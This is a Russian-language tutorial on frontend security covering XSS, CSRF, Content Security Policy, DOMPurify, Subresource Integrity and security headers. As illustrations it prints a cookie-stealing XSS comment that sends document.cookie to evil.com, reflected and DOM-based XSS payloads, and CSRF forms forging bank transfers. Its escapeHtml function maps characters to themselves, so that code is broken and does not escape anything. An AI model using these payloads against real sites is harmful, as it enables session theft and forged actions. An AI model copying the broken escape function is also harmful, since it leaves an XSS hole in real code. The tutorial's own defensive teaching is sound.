Безопасность: XSS, CSRF, CSP, Sanitize — защита фронтенда
Безопасность фронтенд-приложений: XSS, CSRF, Content Security Policy, санитизация данных, HTTPS, Subresource Integrity и чеклист безопасности.
Почему безопасность важна для фронтендера
Фронтенд — первая линия обороны. Пользователь взаимодействует с вашим кодом, и если есть уязвимость, злоумышленник может:
- Украсть данные пользователей (пароли, токены)
- Выполнить действия от имени пользователя
- Перенаправить на фишинговый сайт
- Заставить браузер майнить криптовалюту
Основные типы атак на фронтенд: XSS, CSRF, Clickjacking, Open Redirect.
XSS (Cross-Site Scripting)
XSS — внедрение вредоносного JavaScript-кода на страницу. Если сайт отображает пользовательский ввод без экранирования, атакант может выполнить любой JS-код в браузере жертвы.
Пример
Форум отображает комментарии без экранирования:
comment = '<script>fetch("https://evil.com/steal?cookie=" + document.cookie)</script>'
document.getElementById('comments').innerHTML = comment
Атакант оставляет такой комментарий → скрипт выполняется у всех, кто открывает страницу.
Типы XSS
1. Stored XSS (сохранённый) — вредоносный код сохраняется на сервере (комментарий, профиль) и отображается всем пользователям. Самый опасный.
2. Reflected XSS (отражённый) — код передаётся в URL и «отражается» на странице:
https://site.com/search?q=<script>alert(document.cookie)</script>
3. DOM-based XSS — уязвимость в клиентском JavaScript:
const hash = location.hash.slice(1)
document.getElementById('output').innerHTML = hash
// URL: https://site.com#<img src=x onerror=alert(1)>
Защита от XSS
1. Никогда не используйте innerHTML с пользовательскими данными
Плохо:
element.innerHTML = userInput
Хорошо:
element.textContent = userInput // Текст, не HTML
2. Экранирование (Escaping)
function escapeHtml(str: string): string {
const map: Record<string, string> = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
}
return str.replace(/[&<>"']/g, (char) => map[char])
}
element.innerHTML = `<p>${escapeHtml(userInput)}</p>`
3. Sanitize (DOMPurify)
Когда нужно разрешить часть HTML (жирный текст, ссылки), но удалить опасные теги:
npm install dompurify
npm install -D @types/dompurify
import DOMPurify from 'dompurify'
const dirty = '<b>Привет</b><script>alert("xss")</script><img src=x onerror=alert(1)>'
const clean = DOMPurify.sanitize(dirty)
// '<b>Привет</b><img src="x">' (script и onerror удалены)
element.innerHTML = clean
DOMPurify разрешает безопасные HTML-теги и атрибуты, удаляя <script>, onclick, onerror и подобное.
4. Vue и React автоматически экранируют
<template>
<p>{{ userInput }}</p> <!-- Безопасно: экранируется -->
<p v-html="userInput"></p> <!-- ОПАСНО: не экранируется! -->
</template>
<p>{userInput}</p> // Безопасно
<p dangerouslySetInnerHTML={{ __html: userInput }} /> // ОПАСНО!
v-html и dangerouslySetInnerHTML — используйте только с доверенными данными или после санитизации.
5. Content Security Policy (CSP)
CSP — HTTP-заголовок, который указывает браузеру, какие ресурсы разрешено загружать:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:;
Даже если злоумышленник внедрит <script>, браузер его не выполнит — CSP запрещает inline-скрипты.
CSRF (Cross-Site Request Forgery)
CSRF — атака, при которой злоумышленный сайт отправляет запрос к вашему сайту от имени залогиненного пользователя.
Пример
Пользователь залогинен на bank.com. Он заходит на evil.com, где есть:
<img src="https://bank.com/transfer?to=hacker&amount=10000" />
Или форма:
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="hacker" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>document.forms[0].submit()</script>
Браузер автоматически отправляет cookies bank.com → сервер думает, что это легитимный запрос.
Защита от CSRF
1. CSRF-токен
Сервер генерирует уникальный токен и отдаёт его в HTML-форме. При отправке формы токен проверяется:
// Сервер
app.get('/form', (req, res) => {
const csrfToken = generateToken()
res.cookie('csrf_token', csrfToken, { httpOnly: false })
res.json({ csrfToken })
})
app.post('/transfer', (req, res) => {
const cookieToken = req.cookies.csrf_token
const headerToken = req.headers['x-csrf-token']
if (cookieToken !== headerToken) {
return res.status(403).json({ error: 'CSRF token mismatch' })
}
// ...
})
// Фронтенд
const csrfToken = getCookie('csrf_token')
await fetch('/api/transfer', {
method: 'POST',
headers: {
'X-CSRF-Token': csrfToken,
'Content-Type': 'application/json',
},
credentials: 'include',
body: JSON.stringify({ to: 'bob', amount: 100 }),
})
Злоумышленник на evil.com не может прочитать cookie csrf_token с bank.com (Same-Origin Policy), поэтому не может подделать запрос.
2. SameSite cookies
Set-Cookie: session=abc123; SameSite=Strict
SameSite=Strict — кука не отправляется при cross-site запросах. CSRF невозможен.
SameSite=Lax (по умолчанию) — защищает от POST-CSRF, но разрешает навигацию.
3. Проверка Origin / Referer
app.use((req, res, next) => {
const origin = req.headers.origin || req.headers.referer
if (origin && !origin.startsWith('https://mysite.com')) {
return res.status(403).json({ error: 'Invalid origin' })
}
next()
})
Content Security Policy (CSP)
CSP — мощный механизм защиты, который контролирует, какие ресурсы браузер может загружать.
Основные директивы
Content-Security-Policy:
default-src 'self'; // По умолчанию — только свой домен
script-src 'self' https://cdn.example.com; // Скрипты — только свои и CDN
style-src 'self' 'unsafe-inline'; // Стили — свои и inline
img-src 'self' data: https:; // Изображения — свои, data: и https
font-src 'self' https://fonts.googleapis.com;
connect-src 'self' https://api.example.com; // fetch/XHR — только к своим
frame-src 'none'; // Никаких iframe
object-src 'none'; // Никаких <object>, <embed>
base-uri 'self';
form-action 'self';
frame-ancestors 'none'; // Никто не может встроить через iframe
Значения
| Значение | Описание |
|---|---|
'self' | Текущий origin |
'none' | Ничего |
'unsafe-inline' | Разрешить inline-скрипты и стили |
'unsafe-eval' | Разрешить eval(), new Function() |
'nonce-abc123' | Разрешить скрипт с nonce="abc123" |
'sha256-...' | Разрешить скрипт с точным хешем |
https: | Любой HTTPS-URL |
*.example.com | Все поддомены |
Nonce (рекомендуется)
<meta http-equiv="Content-Security-Policy" content="script-src 'nonce-r4nd0m'" />
<script nonce="r4nd0m">
console.log('Этот скрипт разрешён')
</script>
<script>
console.log('Этот скрипт заблокирован')
</script>
Сервер генерирует уникальный nonce на каждый запрос.
Report-only (тестирование)
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-reports
Не блокирует — только сообщает о нарушениях. Полезно для постепенного внедрения CSP.
Subresource Integrity (SRI)
SRI гарантирует, что загруженный с CDN скрипт не был изменён:
<script
src="https://cdn.example.com/vue@3.4.0.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxT/8a9Bp9r1z9Z5Z..."
crossorigin="anonymous"
></script>
Если файл на CDN изменён (взломан) — браузер его не загрузит.
Генерация SRI:
curl -s https://cdn.example.com/vue@3.4.0.js | openssl dgst -sha384 -binary | openssl base64 -A
Другие заголовки безопасности
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
HSTS — браузер всегда использует HTTPS для этого домена.
X-Content-Type-Options: nosniff
Запрещает браузеру угадывать MIME-тип — предотвращает выполнение загруженного файла как скрипта.
X-Frame-Options: DENY
Запрещает встраивание в iframe — защита от clickjacking.
Referrer-Policy: strict-origin-when-cross-origin
Контролирует, какой Referer отправлять при переходах.
Permissions-Policy: camera=(), microphone=(), geolocation=(self)
Запрещает или ограничивает доступ к API браузера (камера, микрофон, геолокация).
Чеклист безопасности
Обязательные
- HTTPS на всём сайте (редирект с HTTP)
- HttpOnly + Secure + SameSite для авторизационных cookie
- Экранирование пользовательского ввода (не
innerHTML) - CSP минимум
default-src 'self' - Проверка CSRF для state-changing запросов (POST/PUT/DELETE)
- HSTS заголовок
Рекомендуемые
- DOMPurify для пользовательского HTML
- SRI для CDN-скриптов
- X-Frame-Options: DENY
- X-Content-Type-Options: nosniff
- Referrer-Policy
- Permissions-Policy
- Регулярное обновление зависимостей (
npm audit)
Проверка зависимостей
npm audit # Проверить на известные уязвимости
npm audit fix # Автоисправить что можно
npx better-npm-audit audit # Альтернатива
Итог
- XSS — внедрение вредоносного JS. Защита: экранирование, DOMPurify, CSP
- CSRF — подделка запросов. Защита: CSRF-токен, SameSite cookies
- CSP — указывает браузеру, что разрешено загружать. Мощная защита от XSS
- HttpOnly — куки недоступны из JS (защита от XSS)
- SRI — гарантирует целостность CDN-скриптов
- Никогда не доверяйте данным от пользователя — всегда экранируйте
- Используйте
textContentвместоinnerHTML,v-htmlтолько с DOMPurify